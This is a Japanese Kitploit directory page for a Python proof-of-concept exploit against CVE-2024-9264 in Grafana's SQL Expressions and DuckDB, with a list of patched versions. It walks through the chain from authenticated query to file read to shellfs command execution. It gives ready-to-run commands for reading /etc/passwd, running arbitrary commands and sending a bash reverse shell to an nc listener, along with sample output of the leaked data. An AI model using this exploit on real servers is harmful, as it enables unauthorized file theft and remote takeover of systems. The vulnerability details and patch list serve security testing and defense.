Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-9264 — CVE-2024-9264 Grafana SQL Expressions DuckDB LFI/RCE PoC | Kitploit
ツール/GitHubGitHub/ozcanpng/cve-2024-9264
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロール学習と教育
GitHubozcanpng/cve-2024-9264

CVE-2024-9264

CVE-2024-9264 Grafana SQL Expressions DuckDB LFI/RCE PoC

リポジトリを見る
29日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-9264 - Grafana SQL Expressions DuckDB LFI/RCE PoC

CVE-2024-9264 は、Grafana プロセスの PATH に duckdb が存在する場合に、認証済みのローカルファイルインクルージョンとコマンド実行を可能にする Grafana SQL Expressions の脆弱性です。これはその Python による概念実証 (PoC) です。

認可されたテストおよび研究目的のみに使用してください。所有していない、または明示的なテスト許可を得ていないシステムに対して使用しないでください。


機能

root@kitploit:~
authenticated Grafana API access -> SQL Expressions DuckDB query -> file read -> optional shellfs command execution
  1. Grafana の SQL Expressions データソースのクエリエンドポイントに認証済みリクエストを送信します。
  2. DuckDB の read_blob() を使用してファイルを読み取ります。コマンド実行が要求された場合は、最初にデフォルトの検証ファイルとして /etc/passwd が使用されます。
  3. オプションで DuckDB の shellfs をロードし、パイプバックされた read_csv() 呼び出しを通じてコマンドを実行します。
  4. /tmp/cve_2024_9264_out からコマンド出力を読み取り、デコードした結果を表示します。

脆弱なエンドポイントは API 経由で直接呼び出すことができ、ダッシュボード UI の操作は必要ありません。ただし、認証は依然として必要です。


スクリーンショット

コマンド実行

コマンド実行の証明

リバースシェルペイロード

リバースシェルペイロードの配信

リバースシェルリスナー

リバースシェルリスナー


セットアップ

root@kitploit:~
git clone https://github.com/ozcanpng/CVE-2024-9264.git
cd CVE-2024-9264
python3 -m pip install -r requirements.txt

使用方法

ファイル読み取り

root@kitploit:~
python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --file /etc/passwd

--file を単独で使用すると、スクリプトはそのファイルを直接読み取り、ファイル読み取り結果セクションにデコードした内容を表示します。

コマンド実行

root@kitploit:~
python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --cmd id

スクリプトはまずデフォルトの /etc/passwd ファイル読み取り検証を実行し、その後コマンドペイロードを配信します。結果セクションでは、生の Grafana JSON レスポンスの代わりにデコードしたコマンド出力を表示します。

リバースシェル

リスナーを起動:

root@kitploit:~
rlwrap nc -lvnp 4444

リバースシェルペイロードを送信:

root@kitploit:~
python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --reverse-shell --lhost 10.10.14.7 --lport 4444

ドライラン

root@kitploit:~
python3 CVE-2024-9264.py -u http://target:3000 --cmd id --dry-run

デバッグ

root@kitploit:~
python3 CVE-2024-9264.py -u http://target:3000 --cmd id --debug

オプション

以下のオプションは現在のスクリプト CLI に基づいています:

root@kitploit:~
-u, --url, --target TARGET
                        Target URL, e.g. http://localhost:3000
--username USERNAME     Grafana username. Default: admin
--password PASSWORD     Grafana password. Default: admin
--file FILE             File path to read. Default proof path: /etc/passwd
--expected-marker MARKER
                        Marker expected in file read response. Default: root:
--cmd CMD               Command to execute through the DuckDB shellfs path
--reverse-shell         Run a bash reverse shell payload
--lhost LHOST           Listener host for --reverse-shell
--lport LPORT           Listener port for --reverse-shell
--timeout TIMEOUT       HTTP timeout in seconds. Default: 20
--verify-tls            Verify TLS certificates. Default: enabled
-k, --insecure          Disable TLS certificate verification
--dry-run               Print target and payload metadata without sending requests
--debug                 Print request debugging metadata

出力例

ファイル読み取り

root@kitploit:~
[STEP 2] File Read Result
--------------------------------------------------------------------
[*] File path    : /etc/passwd
[*] HTTP status  : 200
[+] File content read successfully.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
grafana:x:472:0::/home/grafana:/usr/sbin/nologin

コマンド実行

root@kitploit:~
[STEP 4] Result
--------------------------------------------------------------------
[*] HTTP status  : 200
[+] Payload accepted by Grafana.
uid=472(grafana) gid=0(root) groups=0(root)

影響を受けるバージョン

製品影響を受けるバージョン必要なアクセス権影響
Grafana OSS / Enterpriseパッチ適用済みセキュリティリリース以前の Grafana 11.0.x、11.1.x、11.2.xViewer 以上Grafana の PATH に DuckDB が存在する場合のローカルファイルインクルージョンおよびコマンドインジェクション

Grafana によると、悪用には duckdb バイナリが Grafana プロセスの PATH に存在する必要があります。通常の Grafana ディストリビューションには DuckDB はデフォルトではインストールされません。


注意事項

  • 有効な Grafana の認証情報が必要です。
  • アカウントには Viewer 以上の権限が必要です。
  • API を直接悪用できることは、認証なしで悪用できることを意味しません。リクエストには引き続き有効なセッションまたは Basic Auth の認証情報が必要です。
  • ファイル読み取りは、コマンド実行前の最初の検証ステップとして使用されます。
  • コマンド実行は、ターゲット環境における DuckDB と shellfs 拡張機能の動作に依存します。
  • 自己署名証明書を使用する TLS ターゲットの場合は、-k または --insecure を指定してください。
  • パッチ適用済みのセキュリティリリースには、Grafana 11.0.5+security-01、11.1.6+security-01、11.2.1+security-01、11.0.6+security-01、11.1.7+security-01、11.2.2+security-01 が含まれます。

参考リンク

  • Grafana セキュリティアドバイザリ - CVE-2024-9264
  • Grafana セキュリティリリースブログ
  • NVD - CVE-2024-9264

作者

ozcanpng - github.com/ozcanpng - ozcanpng.dev

ツールをダウンロード